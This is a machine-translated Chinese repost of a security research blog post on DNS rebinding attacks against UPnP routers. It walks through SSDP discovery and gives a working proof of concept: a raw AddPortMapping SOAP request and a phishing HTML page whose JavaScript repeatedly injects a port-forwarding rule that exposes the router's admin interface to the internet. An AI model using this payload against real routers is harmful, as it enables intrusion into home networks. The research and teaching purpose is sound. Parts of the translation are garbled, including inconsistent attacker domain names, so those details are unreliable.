点击上方蓝字“Ots安全”一起玩耍
作者
乔瓦尼·吉多
亚历山德罗·布拉乔
抽象的
在关于DNS 重新绑定 主题的第一篇博客文章中,我们将展示一个针对本地网络中公开的UPnP 服务的DNS 重新绑定攻击的实际示例。
本系列博文的目标是展示针对在本地网络上公开服务的设备的真实攻击场景。
该案例研究通常发生在物联网互连的家庭或智能办公设备上,从攻击者的角度来看,这是一个非常有趣的场景。
介绍
如今,物联网设备在我们周围的每个环境中都存在,从我们的家开始,智能设备在其中相互交互以简化我们的日常任务。这些设备通常在它们的通信中使用不同的协议,从常见的 HTTP 请求到低功耗蓝牙,但也有非常老的协议,例如UPnP(通用即插即用)。
物联网智能设备实现的服务的主要和最敏感的部分通常不会直接暴露在外部网络上,因此攻击者需要在本地网络中获得一个位置才能利用它们。
第一篇文章的目的是概述 DNS 重新绑定攻击技术,并展示一个实际示例,该示例涉及由典型家庭设备(例如路由器)实现的常见 UPnP 服务。
DNS 重绑定攻击
简而言之,DNS 重新绑定 是一种攻击技术,它允许通过利用浏览器本身的DNS 缓存来绕过同源策略 (SOP)。
攻击者在诱使受害者访问恶意网页的第一阶段之后,使用受控 DNS 服务器欺骗用户的浏览器。
这种攻击通常用于破坏本地网络中存在的设备,以便将它们用作中继点,绕过本地网络 NAT 信任边界。下面是一个显示更详细示例和相关步骤的方案:
特别是:
- 攻击者为恶意域设置DNS 服务。
- 攻击者诱骗受害者访问受控恶意域。这一步可以使用网络钓鱼技术完成,例如跨站点脚本、内容操纵或社交网络和即时消息垃圾邮件。
- 受害者的浏览器通过访问恶意域,将查询该域的 DNS 设置。
- 恶意 DNS 服务器使用域的实际 IP 地址响应查询。
同时,受害者的浏览器会缓存返回的 IP 地址。
- 由于攻击者已将DNS 生存时间 (TTL) 配置为尽可能低的值,因此当缓存保留时间到期时,用户的浏览器由于需要新的 IP 地址而对同一域发出另一个 DNS 请求。
- 这次恶意 DNS 服务使用与目标专用网络中存在的设备相关的专用 IP 地址(例如192.168.1.1)进行响应。
- 此时,在受害者的浏览器中,所有由同源策略强制执行的基于源的安全策略都可能被绕过,因为与初始源相关的地址已被泄露。因此,以前从恶意网站加载的任何 JavaScript 代码现在都可以访问指向192.168.1.1的目标设备在 LAN 中本地公开的任何 HTTP 资源。
现在,假设智能电视作为DNS 重绑定攻击的对象,哪些行为可以被视为受到此类攻击?
该智能电视的Web服务器希望接收与HTTP“内已知的可信值请求主机”头,例如一个合法的请求应该包含“主持人:192.168.1.53 ”,其中“ 192.168.1.53 ”是TV的IP地址本身。因此,诸如“ Host:attacker.Mindsecurity.com ”之类的标头应在应用程序中引发警告。
因此,如果目标设备没有正确验证“主机”标头,并且显示出与篡改值相同的行为(即响应相同),则可以认为这可能是可利用的,通过 DNS 重新绑定攻击。
以下部分描述了针对家庭路由器的DNS 重新绑定攻击的实际示例。
在第一个示例中,将展示如何利用 某些路由器实现的 UPnP 协议中的IGD 配置文件来执行NAT 注入攻击。
但是,应该考虑到这只是可能的攻击场景之一,尤其是在物联网时代,DNS Rebinding 攻击的可能性是无限的。
UPnP 协议
本地服务的一个有趣例子是UPnP,这是一个非常古老的协议,由于智能设备的增长,它从过去回来了。
UPnP 是一种协议,旨在支持网络内的自动设备发现,无需用户进行任何配置。这样,例如,智能电视应用程序可以在本地网络(例如家庭网络)中公开 UPnP 服务,以便为用户提供从他的智能手机或其他设备控制视频播放器的机会。
UPnP 协议栈包括 TCP、UDP、HTTP 和 SOAP 等不同的协议,可以总结如下:
-
发现
-
描述
-
控制
-
三项赛
-
介绍
下面简要介绍其中一些层,但可以考虑UPnP 设备架构规范的更多详细信息。
在本地网络中发现 UPnP 设备和服务
当 UPnP“客户端”(控制点)被添加到本地网络时,它开始使用 SSDP(简单服务发现协议)协议寻找 UPnP 设备和服务:控制点执行 M-SEARCH HTTPU(基于 UDP 的 HTTP ) 对特定多播地址 (239.255.255.250) 的发现请求。然后,所有侦听设备将使用单播 HTTPU 响应进行回复,如下图所示。
下面是用于发现网络中所有 UPnP 设备的 SSDP 请求示例:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 1
ST: ssdp:all
来自家庭路由器的 SSDP 响应示例:
HTTP/1.1 200 OK
LOCATION: http://192.168.1.1:41952/RInc4AcPDaf/
EXT:
SERVER: POSIX, UPnP/1.0, Intel MicroStack/1.0.2777
USN: uuid:c6bbfad2-190b-4fcc-b0d9-fd63781a49ce::urn:schemas-upnp-org:service:ContentDirectory:1
CACHE-CONTROL: max-age=1800
ST: urn:schemas-upnp-org:service:ContentDirectory:1
有很多的可用UPnP发现工具野。
但是,如果您想深入了解 UPnP 协议,只需几行代码即可执行 SSDP 发现。
SSDP 响应包含与设备描述资源位置相关的信息,通常由 LOCATION 响应标头内的 URL 指向。
如下所示,Device Description 是一个 XML 文档,其中包含与设备本身相关的信息,例如设备名称或与制造商相关的详细信息,以及设备公开的服务和操作的描述。
简而言之,这个 XML 文件包含我们需要知道的所有信息,以便识别可用的服务。
IGD 简介
UPnP 设备可以使用自定义服务或使用默认服务来实现自定义配置文件。
许多路由器使用的一个通用配置文件是IGD 配置文件,它包括一组与路由器配置相关的子配置文件,例如“ LANHostConfigManagement ”,用于管理网络配置参数,或“ WANIPConnection ”,如“通用即插即用 IGD A Fox in the Hen House ”论文公开了从攻击者的角度特别有趣的“ AddPortMapping ”SOAP 操作。
“ AddPortMapping ”动作通常被局域网中的其他设备用于在路由器的WAN接口上创建新的端口映射规则。
但是,攻击者可能会利用此操作在端口转发表中注入任意行,以便将流量转发到其他内部/外部客户端或向外部公开内部服务,例如路由器 Web 管理界面。
正如我们从发现过程中看到的,通常,如果攻击者可以访问目标 UPnP 设备的同一本地网络,则可以利用 UPnP 服务。
这里谈到的DNS重新绑定技术来救援!
通过 DNS 重绑定攻击攻击易受攻击的 UPnP 服务
因此,现在很清楚为什么实施IGD配置文件但不执行主机标头验证的路由器是 DNS 重新绑定攻击的完美目标。
下面报告了启用UPnP IGD 配置文件的路由器的SSDP 响应。扫描是使用自定义 go 脚本执行的,该脚本基本上执行 SSDP 发现过程,读取设备描述资源的位置并对其进行解析,以便列出可用于检测到的 UPnP 设备的服务和操作。
[+] Found Upnp device at 192.168.1.1:1900
[+] Device Description (Location: http://192.168.1.1:5431/igdevicedesc.xml -> 200)
PresentationURL:
FriendlyName: [REDACTED]
Manufacturer: [REDACTED]
ModelDescription: [REDACTED]
ModelName: [REDACTED]
ModelNumber: [REDACTED]
[+] Getting devices list and related service list
urn:schemas-upnp-org:device:InternetGatewayDevice:1
ServiceType: urn:schemas-upnp-org:service:Layer3Forwarding:1
ServiceId: urn:upnp-org:serviceId:Layer3Forwarding1
ControlURL: /control/Layer3Forwarding
EventSubURL: /event/Layer3Forwarding
SCPDURL: /upnp/layer3forwardingSCPD.xml
[+] Actions:
SetDefaultConnectionService
GetDefaultConnectionService
urn:schemas-upnp-org:device:WANDevice:1
ServiceType: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
ServiceId: urn:upnp-org:serviceId:wancommoninterfaceconfig1
ControlURL: /control/WANCommonInterfaceConfig
EventSubURL: /event/WANCommonInterfaceConfig
SCPDURL: /upnp/WAN/wancommoninterfaceconfigSCPD.xml
[+] Actions:
SetEnabledForInternet
GetEnabledForInternet
GetCommonLinkProperties
GetTotalBytesSent
GetTotalBytesReceived
GetTotalPacketsSent
GetTotalPacketsReceived
urn:schemas-upnp-org:device:WANConnectionDevice:1
ServiceType: urn:schemas-upnp-org:service:WANIPConnection:1
ServiceId: urn:upnp-org:serviceId:wanipconnection1
ControlURL: /control/WANIPConnection
EventSubURL: /event/WANIPConnection
SCPDURL: /upnp/WAN/wanipconnectionSCPD.xml
[+] Actions:
SetConnectionType
GetConnectionTypeInfo
GetAutoDisconnectTime
SetAutoDisconnectTime
GetIdleDisconnectTime
SetIdleDisconnectTime
GetWarnDisconnectDelay
SetWarnDisconnectDelay
GetStatusInfo
GetNATRSIPStatus
GetGenericPortMappingEntry
GetSpecificPortMappingEntry
AddPortMapping
DeletePortMapping
GetExternalIPAddress
ForceTermination
RequestTermination
RequestConnection
ServiceType: urn:schemas-upnp-org:service:WANCableLinkConfig:1
ServiceId: urn:upnp-org:serviceId:WANCableLinkConfig1
ControlURL: /control/WANCableLinkConfig
EventSubURL:
SCPDURL: /upnp/WAN/wancablelinkconfigSCPD.xml
[+] Actions:
GetCableLinkConfigInfo
GetDownstreamFrequency
GetDownstreamModulation
GetUpstreamFrequency
GetUpstreamModulation
GetUpstreamChannelID
GetUpstreamPowerLevel
GetBPIEncryptionEnabled
GetConfigFile
GetTFTPServer
ServiceType: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
ServiceId: urn:upnp-org:serviceId:wanetherlinkconfig1
ControlURL: /control/WANEthernetLinkConfig
EventSubURL: /event/WANEthernetLinkConfig
SCPDURL: /upnp/WAN/wanethernetlinkconfigSCPD.xml
[+] Actions:
GetEthernetLinkStatus
“ WANConnectionDevice ”服务的“ AddPortMapping ”操作定期出现在实现的IGD配置文件中。
此外,如下面的 HTTP 请求和响应所示,路由器不会验证 Host 标头,因为它会定期返回 200 响应,即使在 Host 标头中插入了值“ attacker.standingsecurity.com ”。
要求:
POST /control/WANIPConnection HTTP/1.1
Host: attacker.mindedsecurity
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Content-Type: text/xml; charset="utf-8"
Content-Length: 714
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>8989</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>80</NewInternalPort>
<NewInternalClient>192.168.1.1</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>UPnP port mapping PoC</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
回复:
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Connection: close
Content-Length: 298
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body> <u:AddPortMappingResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
</u:AddPortMappingResponse>
</s:Body></s:Envelope>
先前的SOAP POST请求,根据AddPortMapping动作规范,暴露上运行的管理网络界面192.168.1.1:80外部端口8989,使得然后它从因特网(如果该访问NewRemoteHost是空的,它的值是0.0.0.0由默认)。
满足要求,因此,我们可以对路由器执行 DNS 重新绑定攻击,并将此自定义规则注入其端口转发表。
以下 HTML 页面被用作网络钓鱼页面的概念证明。该页面在 localhost 上运行,在这种情况下,攻击者域是127-0-0-1.192-168-1-1.attacker.mindsecurity.com。
页面中嵌入的 JavaScript 代码通过 XHR持续执行AddPortMapping SOAP POST 请求到http://127-0-0-1.192-168-1-1.attacker.mindsecurity.com:5431。
<html>
<head>
<script src="jquery.min.js"></script>
<script>
var URL = 'http://127-0-0-1.192-168-1-1.attacker.mindedsecurity:5431/control/WANIPConnection'
var soapBody ='<?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>8989</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>80</NewInternalPort><NewInternalClient>192.168.1.1</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>UPnP port mapping PoC</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>'
function AddPortMapping() {
jQuery.ajax ({
url: URL,
type: "POST",
data: soapBody,
dataType: "xml",
contentType: "text/xml; charset=utf-8"
});
}
function poll() {
setTimeout(function () {
AddPortMapping();
poll();
}, 180000);
}
$(document).ready(function () {
poll();
});
</script>
</head>
<body>
<h1>DNS Rebinding attack against vulnerable router - AddPortMapping</h1>
</body>
</html>
嵌入 HTML 钓鱼页面的 JavaScript 代码通过 XHR持续执行NAT Injection SOAP 请求,攻击者控制的 DNS 服务器被多次命中并以127-0-0-1.192-168-1-的真实 IP 地址进行 响应1.attacker.Mindsecurity.com域,在本例中为127.0.0.1,因为 Web 服务器在本地运行。
过了一会儿,DNS服务器返回了192.168.1.1的IP地址:
$ sudo python dns_server.py
0 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
1 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
2 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
3 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
4 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
5 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
6 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
7 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 127.0.0.1
8 127-0-0-1.192-168-1-1.attacker.mindedsecurity.com -> 192.168.1.1
. . .
这样,请求就成功发送到添加了新端口映射规则的路由器:
下图显示了完整的攻击流程。
结论
所描述的 NAT 注入攻击只是DNS 重新绑定如何用于访问在本地网络中运行的服务的一个示例。然而,仍然可以更深入地使用DNS 重新绑定技术来实现远程代码执行。
因此,在下一部分中,它将作为另一个实际示例进行描述,将展示如何从运行在本地网络中的易受攻击的服务开始实现 RCE。
参考:
-
https://crypto.stanford.edu/dns/
-
http://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v2.0.pdf
-
https://tools.ietf.org/id/draft-bpw-pcp-upnp-igd-interworking-01.html
-
https://tools.ietf.org/html/rfc6970
-
http://www.upnp-hacks.org/
-
http://www.upnp-hacks.org/igd.html
-
https://www.blackhat.com/presentations/bh-usa-08/Squire/BH_US_08_Squire_A_Fox_in_the_Hen_House%20White%20Paper.pdf
-
https://www.akamai.com/uk/en/multimedia/documents/white-paper/
upnproxy-入侵者的代理-经由NAT-注射-白- paper.pdf
原文链接:https://blog.mindedsecurity.com/2021/02/journey-into-beauty-of-dnsrebinding.html
本文始发于微信公众号(Ots安全):DNS 重绑定之美之旅 - 第 1 部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论